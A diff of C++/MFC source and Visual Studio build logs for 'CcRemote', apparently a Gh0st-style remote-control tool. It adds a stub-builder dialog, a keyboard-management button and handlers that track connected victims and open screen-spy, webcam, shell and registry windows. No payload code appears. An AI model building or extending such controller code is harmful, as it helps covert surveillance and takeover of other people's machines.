// TODO: 在此添加命令处理程序代码
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CBuildDlg buildDlg;
|
||||
buildDlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnMainAbout()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CAboutDlg dlgAbout;
|
||||
dlgAbout.DoModal();
|
||||
//CAboutDlg dlgAbout;
|
||||
//dlgAbout.DoModal();
|
||||
CHelpWindow dlgAbouts;
|
||||
dlgAbouts.DoModal();
|
||||
}
|
||||
|
||||
|
||||
@@ -731,7 +737,7 @@ void CCcRemoteDlg::InitToolBar()
|
||||
m_ToolBar.SetButtonText(3, "桌面管理");
|
||||
m_ToolBar.SetButtonText(4, "文件管理");
|
||||
m_ToolBar.SetButtonText(5, "语音管理");
|
||||
m_ToolBar.SetButtonText(6, "视频管理");
|
||||
m_ToolBar.SetButtonText(6, "键盘管理");
|
||||
m_ToolBar.SetButtonText(7, "服务管理");
|
||||
m_ToolBar.SetButtonText(8, "注册表管理");
|
||||
m_ToolBar.SetButtonText(10, "参数设置");
|
||||
@@ -908,9 +914,6 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
/*
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
break;*/
|
||||
case TOKEN_AUDIO_START: // 语音
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||
@@ -1019,19 +1022,14 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
|
||||
LoginInfo->OsVerInfoEx.wServicePackMajor,
|
||||
LoginInfo->OsVerInfoEx.dwBuildNumber
|
||||
);
|
||||
//m_pListCtrl->SetItemText(i, 4, strOS);
|
||||
|
||||
|
||||
// CPU
|
||||
strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
|
||||
//m_pListCtrl->SetItemText(i, 5, str);
|
||||
|
||||
|
||||
// Speed
|
||||
strPing.Format("%d", LoginInfo->dwSpeed);
|
||||
//m_pListCtrl->SetItemText(i, 6, str);
|
||||
|
||||
|
||||
strVideo = LoginInfo->bIsWebCam ? "有" : "--";
|
||||
//m_pListCtrl->SetItemText(i, 7, str);
|
||||
|
||||
strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS);
|
||||
|
||||
@@ -1040,12 +1038,8 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
strAddr = m_QQwry->IPtoAdd(IPAddress);
|
||||
|
||||
//strToolTipsText += "\nArea: ";
|
||||
//strToolTipsText += str;
|
||||
}
|
||||
// 指定唯一标识
|
||||
//m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存
|
||||
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
|
||||
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
|
||||
}
|
||||
catch (...) {}
|
||||
|
||||
@@ -1095,10 +1089,10 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||||
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); // 创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); // 显示对话框
|
||||
|
||||
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[0] = SYSTEM_DLG; // 这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||
return 0;
|
||||
@@ -1197,6 +1191,53 @@ LRESULT CCcRemoteDlg::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
LRESULT CCcRemoteDlg::OnRemoveFromList(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
if (pContext == NULL)
|
||||
return -1;
|
||||
// 删除链表过程中可能会删除Context
|
||||
CString strIP;//选择断开的IP
|
||||
try
|
||||
{
|
||||
int nCnt = m_CList_Online.GetItemCount();
|
||||
for (int i = 0; i < nCnt; i++)
|
||||
{
|
||||
if (pContext == (ClientContext *)m_CList_Online.GetItemData(i))
|
||||
{
|
||||
strIP = m_CList_Online.GetItemText(i, ONLINELIST_IP);//获取断开的IP字符串
|
||||
strIP += "下线";
|
||||
ShowMessage(true, strIP);//显示日志// 更新当前连接总数
|
||||
m_CList_Online.DeleteItem(i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 关闭相关窗口
|
||||
|
||||
switch (pContext->m_Dialog[0])
|
||||
{
|
||||
case FILEMANAGER_DLG:
|
||||
case SCREENSPY_DLG:
|
||||
case WEBCAM_DLG:
|
||||
case AUDIO_DLG:
|
||||
case KEYBOARD_DLG:
|
||||
case SYSTEM_DLG:
|
||||
case SHELL_DLG:
|
||||
//((CDialog*)pContext->m_Dialog[1])->SendMessage(WM_CLOSE);
|
||||
((CDialog*)pContext->m_Dialog[1])->DestroyWindow();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (...) {}
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//绘制背景图片
|
||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
@@ -1221,14 +1262,25 @@ HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
if (m_CList_Online.m_hWnd != NULL&& isTrue == 0)
|
||||
if (m_CList_Online.m_hWnd != NULL&& isOnlineIcoTrue == 0)
|
||||
{
|
||||
TCHAR szBuffer[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
CString sPath = (CString)szBuffer;
|
||||
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
sPath += "res\\list_online_pic.bmp";
|
||||
isTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
isOnlineIcoTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
}
|
||||
if (m_CList_Message.m_hWnd != NULL && isMessageIcoTrue == 0)
|
||||
{
|
||||
TCHAR szBuffer[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
CString sPath = (CString)szBuffer;
|
||||
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
sPath += "res\\list_message_pic.bmp";
|
||||
isMessageIcoTrue = m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
}
|
||||
@@ -1242,3 +1294,5 @@ HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
|
||||
return hbr;
|
||||
}
|
||||
|
||||
|
||||
|
@@ -12,6 +12,8 @@
|
||||
#include "CAudioDlg.h"
|
||||
#include "CServerDlg.h"
|
||||
#include "CKeyBoardDlg.h"
|
||||
#include "CHelpWindow.h"
|
||||
#include "CBuildDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
@@ -65,7 +67,8 @@ private:
|
||||
CBitmap m_BitmapPicLogoA;
|
||||
CStatic m_PicLogoA; // 左上角logo
|
||||
|
||||
bool isTrue; // list背景是否已经加载
|
||||
bool isOnlineIcoTrue; // list背景是否已经加载
|
||||
bool isMessageIcoTrue;
|
||||
|
||||
#define COLUMN_ONLINE_COUNT 7 // 在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 // 消息列表的个数
|
||||
@@ -123,6 +126,7 @@ public:
|
||||
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM);
|
||||
|
||||
//-------------系统消息处理-------------
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
|
@@ -1,38 +1,3 @@
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\regdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ckeyboarddlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
f:\myapp\ccremote\bin\ccremote.ilk
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj.enc
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,5 +1,93 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CBuildDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||
CHelpWindow.cpp
|
||||
CKeyBoardDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CServerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
FileTransferModeDlg.cpp
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
InputDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
RegDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
正在生成代码...
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
正在生成代码...
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -1,38 +1,2 @@
|
||||
f:\myapp\ccremote\bin\ccremote.ipdb
|
||||
f:\myapp\ccremote\bin\ccremote.iobj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\audio.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\caudiodlg.obj
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,15 +1,95 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CBuildDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
|
||||
